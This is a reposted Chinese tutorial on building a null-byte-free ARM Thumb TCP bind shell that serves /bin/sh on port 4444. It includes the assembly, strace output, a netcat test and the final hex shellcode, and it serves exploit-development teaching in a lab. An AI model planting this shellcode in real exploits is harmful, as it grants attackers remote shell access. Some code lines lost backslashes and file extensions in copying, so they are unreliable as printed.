用汇编语言(ARM 32位)编写TCP Bind Shell的菜鸟教程

来源 https://www.4hou.com/info/news/9959.html

Change 新闻 2018年1月19日发布

导语:在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。

在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。

阅读完本教程之后,你不仅能学会如何编写将shell绑定到本地端口的shellcode,还会了解如何编写shellcode。从bind shellcode到reverse shellcode只需更改1-2个函数,一些参数,但大多数情况下都是一样的。编写一个bind或reverse shell比创建一个简单的execve()shell要困难得多。如果你想从小处着手,可以学习如何用汇编语言编写一个简单的execve()shell,然后再深入到本文更加广泛的教程中。如果你需要复习一下Arm assembly,请参阅我的ARM Assembly Basics教程系列,或 者使用下面这种备忘单:

在开始之前,我想提醒大家的是,我们正在创建的是ARM shellcode,需要建立一个ARM实验室环境。可以自己设置(QEMU Emulate Raspberry Pi )或节省时间,可以下载我创建好的实验室VM(ARM Lab VM)。

了解细节

首先,什么是bind shell?它是如何工作的?使用bind shell,可以在目标机器上打开通信端口或侦听器。然后侦听器等待传入连接,你连接它,侦听器便会接受连接,并允许你shell访问目标系统。

这与Reverse Shell的工作方式不同。使用reverse shell,你可以让目标机器与自己的机器进行通信。在这种情况下,你的机器有一个侦听器端口,它接收来自目标系统的连接。

这两种类型的shell都有各自的优点和缺点,这取决于目标环境。例如,目标网络的防火墙不能阻挡传出链接,更容易阻挡传入链接。这意味着你的bind shell将在目标系统上绑定一个端口,但是由于传入连接被阻挡,你将无法连接到它。因此在某些情况下,最好有一个reverse shell能够利用防火墙不阻挡传出连接的错误配置。如果你学会了如何编写bind shell,那么也就学会了如何编写reverse shell。将汇编代码转换成reverse shell,只需要几处修改就能实现。

要将bind shell的功能转换为汇编的,我们首先需要熟悉bind shell的过程

1. 创建一个新的TCP 套接字 (socket)

2. 将socket绑定到本地端口

3. 侦听传入的连接

4. 接受传入的连接

5. 将STDIN、STDOUT和STDERR重定向到客户端新创建的socket

6. 生成shell

下面是我们用来翻译的C代码。

  1. #include <stdio.h> 
  2. #include <sys/types.h>  
  3. #include <sys/socket.h> 
  4. #include <netinet/in.h> 
  5. int host_sockid;    // socket file descriptor 
  6. int client_sockid;  // client file descriptor 
  7. struct sockaddr_in hostaddr;            // server aka listen address
  8. int main() 
  9. { 
  10.     // Create new TCP socket 
  11.     host_sockid = socket(PF_INET, SOCK_STREAM, 0); 
  12.     // Initialize sockaddr struct to bind socket using it 
  13.     hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address
  14.     hostaddr.sin_port = htons(4444);                // server port, converted to network byte order
  15.     hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order
  16.     // Bind socket to IP/Port in sockaddr struct 
  17.     bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); 
  18.     // Listen for incoming connections 
  19.     listen(host_sockid, 2); 
  20.     // Accept incoming connection 
  21.     client_sockid = accept(host_sockid, NULL, NULL); 
  22.     // Duplicate file descriptors for STDIN, STDOUT and STDERR 
  23.     dup2(client_sockid, 0); 
  24.     dup2(client_sockid, 1); 
  25.     dup2(client_sockid, 2); 
  26.     // Execute /bin/sh 
  27.     execve("/bin/sh", NULL, NULL); 
  28.     close(host_sockid); 
  29.     return 0; 
  30. }

第一阶段:系统函数及其参数

第一步是识别必要的系统函数、参数和系统调用号。查看上面的C代码,可以看到,我们需要以下函数:socket, bind, listen, accept, dup2, execve。你可以使用以下命令来计算这些函数的系统调用号:

  1. pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.| grep socket
  2. #define __NR_socketcall             (__NR_SYSCALL_BASE+102)
  3. #define __NR_socket                 (__NR_SYSCALL_BASE+281)
  4. #define __NR_socketpair             (__NR_SYSCALL_BASE+288)
  5. #undef __NR_socketcall

_NR_SYSCALL_BASE的值是0:

  1. root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
  2. /usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0

以下是我们需要的所有syscall调用号:

  1. #define __NR_socket    (__NR_SYSCALL_BASE+281)
  2. #define __NR_bind      (__NR_SYSCALL_BASE+282)
  3. #define __NR_listen    (__NR_SYSCALL_BASE+284)
  4. #define __NR_accept    (__NR_SYSCALL_BASE+285)
  5. #define __NR_dup2      (__NR_SYSCALL_BASE+ 63)
  6. #define __NR_execve    (__NR_SYSCALL_BASE+ 11)

每个函数期望参数都可以在linux man页面或者w3challs.com中查看。

下一步是算出这些参数的具体值。一种计算方法是使用strace查看一个成功的bind shell 连接。strace是一个工具,可以用来跟踪系统调用,并且监视进程与Linux内核之间的交互。让我们使用strace来测试bind shell的C语言版本。为了减少噪音,我们将输出限制为我们感兴趣的函数。

  1. Terminal 1:
  2. pi@raspberrypi:~/bindshell $ gcc bind_test.-o bind_test
  3. pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
  4. Terminal 2:
  5. pi@raspberrypi:~ $ netstat -tlpn
  6. Proto Recv-Q  Send-Q  Local Address  Foreign Address  State     PID/Program name
  7. tcp    0      0       0.0.0.0:22     0.0.0.0:*        LISTEN    - 
  8. tcp    0      0       0.0.0.0:4444   0.0.0.0:*        LISTEN    1058/bind_test 
  9. pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444
  10. Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

这是strace输出:

  1. pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
  2. execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0
  3. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
  4. bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
  5. listen(3, 2) = 0
  6. accept(3, 0, NULL) = 4
  7. dup2(4, 0) = 0
  8. dup2(4, 1) = 1
  9. dup2(4, 2) = 2
  10. execve("/bin/sh", [0], [/* 0 vars */]) = 0

现在,我们可以填充空白,并记下需要传递给汇编bind shell函数的值。

第二步:逐步编译

在第一阶段,我们回答了以下问题,以获取汇编程序所需要的所有东西:

  1. 1.我需要哪些函数?
  2. 2.这些函数的系统调用号是多少?
  3. 3.这些函数的参数是什么?
  4. 4.这些参数的值是多少?

这一步是关于应用这些知识并将其转换为汇编。将每个函数拆分为一个单独的块,并重复以下过程:

  1. 1.标出参数所使用的寄存器
  2. 2.找出如何将所需值( required value)传递给寄存器
  3. 1.如何将立即数(immediate value)传递给寄存器
  4. 2.如何在不直接将#0移入的情况下取消寄存器(我们需要避免代码中的null字节,因此必须找到其他方法来取消寄存器或内存中的值)。
  5. 3.如何将寄存器指向内存中存储常量和字符串的区域

3.使用正确的系统调用号来调用函数,并跟踪寄存器内容的变化

  1. 1.记住,系统调用的结果将落在r0中,这意味着万一你需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。
  2. 2.示例:host_sockid = socket(2, 1, 0) socket调用的结果(host_sockid) 将在r0中。这个结果在其他函数中重用,比如listen(host_sockid, 2),因此应该保存在另一个寄存器中。

0-切换到Thumb模式

首先使用Thumb模式,以减少使用null字节的可能性。在Arm模式下,指令是32位的,在Thumb模式下是16位。这意味着我们可以通过简单地减小指令的大小来减少使用null字节的情况。回顾一下如何切换到Thumb模式:ARM指令必须是4字节对齐的。将模式从ARM转换到Thumb,通过将1添加到PC寄存器的值,并将其保存到另一个寄存器中,把下一个指令地址(在PC中发现)的LSB(Least Significant Bit)设置为1。然后使用一个BX(分支和交换)指令来分支到另一个寄存器中,该寄存器包含LSB设置为1的下一条指令的地址。这一操作使得处理器切换到Thumb模式。上述所有操作都归结为以下两个指令。

  1. .section .text
  2. .global _start
  3. _start:
  4.     .ARM
  5.     add     r3, pc, #1            
  6.     bx      r3

从这里开始,你将编写Thumb代码,因此需要在你编写的代码中使用.THUMB指令表明这一点。

1-新建一个Socket

这些是我们需要的socket调用参数的值:

  1. root@raspberrypi:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/
  2. /usr/include/linux/in.h: IPPROTO_IP = 0,                               // Dummy protocol for TCP 
  3. /usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // Sequenced, reliable, connection-based
  4. /usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2       // IP protocol family. 
  5. /usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

设置好参数之后,你可以使用svc指令调用socket系统调用。此调用的结果将是host_sockid,并将以r0结束。因为稍后我们需要host_sockid,把它保存到r4中。

在ARM中,不能简单地将任何立即数(immediate value)移动到寄存器中。如果你对这一细微差别有更多的兴趣,在Memory Instructions章节中有一个章节(在最后)介绍了这一差别。

为了检查是否可以使用某个立即数(immediate value),我编写了一个很小的脚本(代码不完美,可以不看),叫做rotator.py。

  1. pi@raspberrypi:~/bindshell $ python rotator.py
  2. Enter the value you want to check: 281
  3. Sorry, 281 cannot be used as an immediate number and has to be split.
  4. pi@raspberrypi:~/bindshell $ python rotator.py
  5. Enter the value you want to check: 200
  6. The number 200 can be used as a valid immediate number.
  7. 50 ror 30 --> 200
  8. pi@raspberrypi:~/bindshell $ python rotator.py
  9. Enter the value you want to check: 81
  10. The number 81 can be used as a valid immediate number.
  11. 81 ror 0 --> 81

最后的代码片段:

  1.   .THUMB
  2.     mov     r0, #2
  3.     mov     r1, #1
  4.     sub     r2, r2, r2
  5.     mov     r7, #200
  6.     add     r7, #81                // r7 = 281 (socket syscall number) 
  7.     svc     #1                     // r0 = host_sockid value 
  8.     mov     r4, r0                 // save host_sockid in r4

2 -将Socket绑定到本地端口

使用第一个指令,我们将一个包含地址家族、主机端口和主机地址的结构对象存储在文字池里,并使用pc-relative寻址(程序计数器相对寻址法)引用这个对象。文字池是同一部分的内存区域(因为文字池是代码的一部分),其中存储了常量、字符串或偏移量。你可以使用带有标签的ADR指令,而不是手动计算pc相对偏移量。ADR接受一个PC-relative表达式,也就是说,具有一个可选偏移量的标签,其标签地址与PC标签有关。情况如下:

  1. // bind(r0, &sockaddr, 16)
  2.  adr r1, struct_addr    // pointer to address, port
  3.  [...]
  4. struct_addr:
  5. .ascii "x02xff"       // AF_INET 0xff will be NULLed 
  6. .ascii "x11x5c"       // port number 4444 
  7. .byte 1,1,1,1           // IP Address

接下来的5个指令是STRB(存储字节)指令。STRB指令将一个字节从寄存器存储到一个计算内存区域。语法[r1, #1] 表示我们将r1作为基本地址,立即数(immediate value )(#1) 作为偏移量。

在第一个指令中,我们将R1指向内存区域,在该内存区域存储了地址家族AF_INET的值、我们想要使用的本地端口和IP地址。我们可以使用静态IP地址,也可以指定0.0.0.0使我们的bind shell监听目标配置的所有IP,使我们的shellcode更加便携。现在有很多null字节。

同样,我们想要避免使用null字节的原因是为了使我们的shellcode对于漏洞利用是可用的,即利用内存损坏那些可能对null字节敏感的漏洞。一些缓冲区溢出是由于不合理地使用“strcpy”这样的函数而造成的。strcpy的工作是复制数据直到它接收到一个null字节。我们使用溢出来控制程序流,如果strcpy遇到一个null字节,它将停止复制我们的shellcode,我们的开发将无法工作。使用strb指令,我们从寄存器中获取一个null字节,并在执行期间修改我们自己的代码。这样,在我们的shellcode中实际上没有一个null字节,只是动态地将其放在那里。这就要求代码部分是可写的,并且可以通过在链接过程中添加-N标志来实现。

出于这个原因,我们在没有null字节的情况下进行编码,并在需要的地方动态地放置一个null字节。正如在下个图片中所看到的,我们指定的IP地址是1.1.1.1,在执行期间将被0.0.0.0替换。

第一个STRB指令在x02xff中用x00替换占位符xff,以便将AF_INET设置为x02 x00。我们如何知道它是一个被存储的null字节?由于“r2,r2,r2”的指令清除了寄存器,因此r2中包含0。接下来的4个指令用0.0.0.0代替1.1.1.1。除了在strb r2, [r1, #1]之后的四个strb指令,你还可以使用一个单独的str r2, [r1, #4]来完成一个完整的0.0.0.0编写。

移动指令将sockaddr_in结构性长度的字节长度(AF_INET 2字节,PORT 2字节,ipaddress 4字节,8字节填充,总共16字节)放到r2中。然后,我们通过将1添加到r7,将其设置为282,因为r7已经包含了从最后一个syscall中获得的281。

  1. // bind(r0, &sockaddr, 16)
  2.     adr  r1, struct_addr   // pointer to address, port
  3.     strb r2, [r1, #1]     // write 0 for AF_INET
  4.     strb r2, [r1, #4]     // replace 1 with 0 in x.1.1.1
  5.     strb r2, [r1, #5]     // replace 1 with 0 in 0.x.1.1
  6.     strb r2, [r1, #6]     // replace 1 with 0 in 0.0.x.1
  7.     strb r2, [r1, #7]     // replace 1 with 0 in 0.0.0.x
  8.     mov r2, #16
  9.     add r7, #1            // r7 = 281+1 = 282 (bind syscall number) 
  10.     svc #1
  11.     nop

3-listen传入的连接

在这里我们把以前保存的host_sockid放入 r0。将r1设置为2,r7只是增加了2,因为它还包含从最后一个syscall中获得的282(系统调用)。

  1. mov     r0, r4     // r0 = saved host_sockid 
  2. mov     r1, #2
  3. add     r7, #2     // r7 = 284 (listen syscall number)
  4. svc     #1

4-accept输入连接

同样,我们将保存的host_sockid放到r0。由于我们想要避免使用null字节,所以我们使用的不是直接将#0移动到r1和r2中,而是通过将r1和r2彼此想减来将它们设置为0。r7只增加了1。此调用的结果将是client_sockid,我们将其保存在r4中,因为我们之后不再需要保存在r4中的host_sockid(我们将跳过调用C代码中的关闭函数)。

  1. mov     r0, r4          // r0 = saved host_sockid 
  2.     sub     r1, r1, r1      // clear r1, r1 = 0
  3.     sub     r2, r2, r2      // clear r2, r2 = 0
  4.     add     r7, #1          // r7 = 285 (accept syscall number)
  5.     svc     #1
  6.     mov     r4, r0          // save result (client_sockid) in r4

5 – STDIN、STDOUT和STDERR

对于dup2函数,我们需要syscall调用号63。先前保存的client_sockid需要再次进入r0,并且子指令将r1设为0。剩下的两个dup2调用,我们只需要改变r1并且在每次系统调用之后将r0重置为client_sockid。

  1. /* dup2(client_sockid, 0) */
  2.     mov     r7, #63                // r7 = 63 (dup2 syscall number) 
  3.     mov     r0, r4                 // r4 is the saved client_sockid 
  4.     sub     r1, r1, r1             // r1 = 0 (stdin) 
  5.     svc     #1
  6. /* dup2(client_sockid, 1) */
  7.     mov     r0, r4                 // r4 is the saved client_sockid 
  8.     add     r1, #1                 // r1 = 1 (stdout) 
  9.     svc     #1
  10. /* dup2(client_sockid, 2) */
  11.     mov     r0, r4                 // r4 is the saved client_sockid
  12.     add     r1, #1                 // r1 = 1+1 (stderr) 
  13.     svc     #1

6-生成shell

  1. // execve("/bin/sh", 0, 0) 
  2.  adr r0, shellcode     // r0 = location of "/bin/shX"
  3.  eor r1, r1, r1        // clear register r1. R1 = 0
  4.  eor r2, r2, r2        // clear register r2. r2 = 0
  5.  strb r2, [r0, #7]     // store null-byte for AF_INET
  6.  mov r7, #11           // execve syscall number
  7.  svc #1
  8.  nop

我们在本例中使用的execve()函数遵循的过程与Writing ARM Shellcode教程中的相同,都是一步一步地进行解释。

最后,我们将值AF_INET(0xff将被null替换)、端口号、IP地址以及“/bin/sh”字符串,放在我们汇编代码的结尾的。

  1. struct_addr:
  2. .ascii "x02xff"      // AF_INET 0xff will be NULLed 
  3. .ascii "x11x5c"     // port number 4444 
  4. .byte 1,1,1,1        // IP Address 
  5. shellcode:
  6. .ascii "/bin/shX"

最终的汇编代码

这就是我们编好的bind shellcode。

  1. .section .text
  2. .global _start
  3.     _start:
  4.     .ARM
  5.     add r3, pc, #1         // switch to thumb mode 
  6.     bx r3
  7.     .THUMB
  8. // socket(2, 1, 0)
  9.     mov r0, #2
  10.     mov r1, #1
  11.     sub r2, r2, r2      // set r2 to null
  12.     mov r7, #200        // r7 = 281 (socket)
  13.     add r7, #81         // r7 value needs to be split 
  14.     svc #1              // r0 = host_sockid value
  15.     mov r4, r0          // save host_sockid in r4
  16. // bind(r0, &sockaddr, 16)
  17.     adr  r1, struct_addr // pointer to address, port
  18.     strb r2, [r1, #1]    // write 0 for AF_INET
  19.     strb r2, [r1, #4]    // replace 1 with 0 in x.1.1.1
  20.     strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1
  21.     strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1
  22.     strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x
  23.     mov r2, #16          // struct address length
  24.     add r7, #1           // r7 = 282 (bind) 
  25.     svc #1
  26.     nop
  27. // listen(sockfd, 0) 
  28.     mov r0, r4           // set r0 to saved host_sockid
  29.     mov r1, #2        
  30.     add r7, #2           // r7 = 284 (listen syscall number) 
  31.     svc #1        
  32. // accept(sockfd, NULL, NULL); 
  33.     mov r0, r4           // set r0 to saved host_sockid
  34.     sub r1, r1, r1       // set r1 to null
  35.     sub r2, r2, r2       // set r2 to null
  36.     add r7, #1           // r7 = 284+1 = 285 (accept syscall)
  37.     svc #1               // r0 = client_sockid value
  38.     mov r4, r0           // save new client_sockid value to r4  
  39. // dup2(sockfd, 0) 
  40.     mov r7, #63         // r7 = 63 (dup2 syscall number) 
  41.     mov r0, r4          // r4 is the saved client_sockid 
  42.     sub r1, r1, r1      // r1 = 0 (stdin) 
  43.     svc #1
  44. // dup2(sockfd, 1)
  45.     mov r0, r4          // r4 is the saved client_sockid 
  46.     add r1, #1          // r1 = 1 (stdout) 
  47.     svc #1
  48. // dup2(sockfd, 2) 
  49.     mov r0, r4          // r4 is the saved client_sockid
  50.     add r1, #1          // r1 = 2 (stderr) 
  51.     svc #1
  52. // execve("/bin/sh", 0, 0) 
  53.     adr r0, shellcode   // r0 = location of "/bin/shX"
  54.     eor r1, r1, r1      // clear register r1. R1 = 0
  55.     eor r2, r2, r2      // clear register r2. r2 = 0
  56.     strb r2, [r0, #7]   // store null-byte for AF_INET
  57.     mov r7, #11         // execve syscall number
  58.     svc #1
  59.     nop
  60. struct_addr:
  61. .ascii "x02xff" // AF_INET 0xff will be NULLed 
  62. .ascii "x11x5c" // port number 4444 
  63. .byte 1,1,1,1 // IP Address 
  64. shellcode:
  65. .ascii "/bin/shX"

测试shellcode

将你的汇编代码保存到一个名为bind_shell.s的文件中。在使用ld时不要忘记-N标志,原因是我们使用了多个strb操作来修改我们的代码段(.text)。这就要求代码部分是可写的,并且在链接过程中可以通过添加-N标志来实现。

  1. pi@raspberrypi:~/bindshell $ as bind_shell.-o bind_shell.&& ld -N bind_shell.-o bind_shell
  2. pi@raspberrypi:~/bindshell $ ./bind_shell

然后,连接到你的指定端口:

  1. pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444
  2. Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
  3. uname -a
  4. Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

Shellcode可以正常运行!使用以下命令将它转换成十六进制字符串:

  1. pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin
  2. pi@raspberrypi:~/bindshell $ hexdump -v -e '"""x" 1/1 "%02x" ""' bind_shell.bin
  3. x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58

我们成功编写了bind shellcode!这个shellcode长112字节。由于这是一个初学者教程,为了使教程比较简单易懂,所以并没有将shellcode编写的它所能达到的最短。在完成初级shellcode编写之后,你可以尝试找到减少指令数量的方法,从而使shellcode更短。

希望通过本文你学会了一些东西,并且能够运用这些知识来编写自己的shellcode任意变体。

================== End

用汇编语言(ARM 32位)编写TCP Bind Shell的菜鸟教程的更多相关文章

  1. 【asm】64位编译32位汇编需要注意的

    汇编语言在32位和64位下有区别    32位的汇编在代码前增加.code32    as可以通过--32指定生成32位汇编 在64位系统下ld链接生成32位程序:    ld: i386 archi ...

  2. Windows环境下32位汇编语言程序设计(典藏版)

    Windows环境下32位汇编语言程序设计(典藏版)(含CD光盘1张)(年,经典再现!) 罗云彬 著 ISBN 978-7-121-20759-4 2013年7月出版 定价:99.00元 756页 1 ...

  3. Windows环境下32位汇编语言程序设计(典藏版)

    <Windows环境下32位汇编语言程序设计(典藏版) > 基本信息 作者: 罗云彬 出版社:电子工业出版社 ISBN:9787121207594 上架时间:2013-7-8 出版日期:2 ...

  4. 16位模式/32位模式下PUSH指令探究——《x86汇编语言:从实模式到保护模式》读书笔记16

    一.Intel 32 位处理器的工作模式 如上图所示,Intel 32 位处理器有3种工作模式. (1)实模式:工作方式相当于一个8086 (2)保护模式:提供支持多任务环境的工作方式,建立保护机制 ...

  5. 32位x86处理器编程导入——《x86汇编语言:从实模式到保护模式》读书笔记08

    在说正题之前,我们先看2个概念. 1.指令集架构(ISA) ISA 的全称是 instruction set architecture,中文就是指令集架构,是指对程序员实际"可见" ...

  6. ASM:《X86汇编语言-从实模式到保护模式》第10章:32位x86处理器的编程架构

    ★PART1:32位的x86处理器执行方式和架构 1. 寄存器的拓展(IA-32) 从80386开始,处理器内的寄存器从16位拓展到32位,命名其实就是在前面加上e(Extend)就好了,8个通用寄存 ...

  7. 读书笔记——Windows环境下32位汇编语言程序设计(9)ANSII字符大小写转大写

    在罗云彬的<Windows环境下32位汇编语言程序设计>中第321页 ... .const szAllowedChar db '0123456789ABCDEFabcdef',08h .. ...

  8. 32位汇编第二讲,编写窗口程序,加载资源,响应消息,以及调用C库函数

    32位汇编第二讲,编写窗口程序,加载资源,响应消息,以及调用C库函数 (如果想看所有代码,请下载课堂资料,里面有所有代码,这里会讲解怎么生成一个窗口程序) 一丶32位汇编编写Windows窗口程序 首 ...

  9. 16位和32位的80X86汇编语言的区别

    需要注意的是汇编不是一种语言,不同平台有不同的汇编语言对应,因为汇编和操作系统平台相关,所以汇编语言没有移植性.对于IA-32架构平台而言,选用的32位80386汇编语言,也就只说讨论的操作系统平台是 ...

随机推荐

  1. 2018.09.25 51nod1597 有限背包计数问题(背包+前缀和优化)

    传送门 dp好题. 我认为原题的描述已经很清楚了: 你有一个大小为n的背包,你有n种物品,第i种物品的大小为i,且有i个,求装满这个背包的方案数有多少. 两种方案不同当且仅当存在至少一个数i满足第i种 ...

  2. idea使用svn提交时出现错误Warning not all local changes may be shown due to an error

    参考于https://www.cnblogs.com/zhujiabin/p/6708012.html 解决方案: 1.File > Settings > Version Control ...

  3. time & datetime 模块

    在平常的代码中,我们常常需要与时间打交道.在Python中,与时间处理有关的模块就包括:time,datetime,calendar(很少用,不讲),下面分别来介绍. 在开始之前,首先要说明几点: 一 ...

  4. laravel命令

    新建控制器 php artisan make:controller IssuesController 新建控制器并自动生成对应RESTful风格路由相关CURD方法 php artisan make: ...

  5. hdu1171 Big Event in HDU(01背包) 2016-05-28 16:32 75人阅读 评论(0) 收藏

    Big Event in HDU Time Limit: 10000/5000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others ...

  6. 几个经典的数学库之一学习---VCGlib(3)

    Camera and shot abstraction for managing views 视图的定义,以及mesh的操作说明. Shot(镜头) and camera(相机) shot摄像结构以及 ...

  7. Linux下配置Nginx(在root的/etc/rc.local里配置开机启动功能http://tengine.taobao.org/)

    上面是下载的包下载地址 http://tengine.taobao.org/download_cn.html nginx官网http://nginx.org/ 下一步 下一步 其中remote为重要属 ...

  8. Windows / Windows Phone 8.1 预留应用名称及应用上传

    最近比较懒好久没有来这里跟大家聊了,WP 8.1 的 preview 发布已经有一阵子了,并且商店支持 8.1 应用也有一段时间了.我就把这篇 8.1 的应用商店预留提交作为 8.1 的一个开始吧. ...

  9. AndroidPn服务端部分bug解决方案

    目前推送的情况已经大致可以了,可以正常推送.但是要在实际生产中使用,要改进很多地方. 原本的版本,是不会对消息重新发送的.消息如果丢失,或者用户没有在线,消息也不会重新的发送.所以,这些问题都是要解决 ...

  10. java spring boot 开启监控信息

    效果: 配置 // pom <dependency> <groupId>org.springframework.boot</groupId> <artifac ...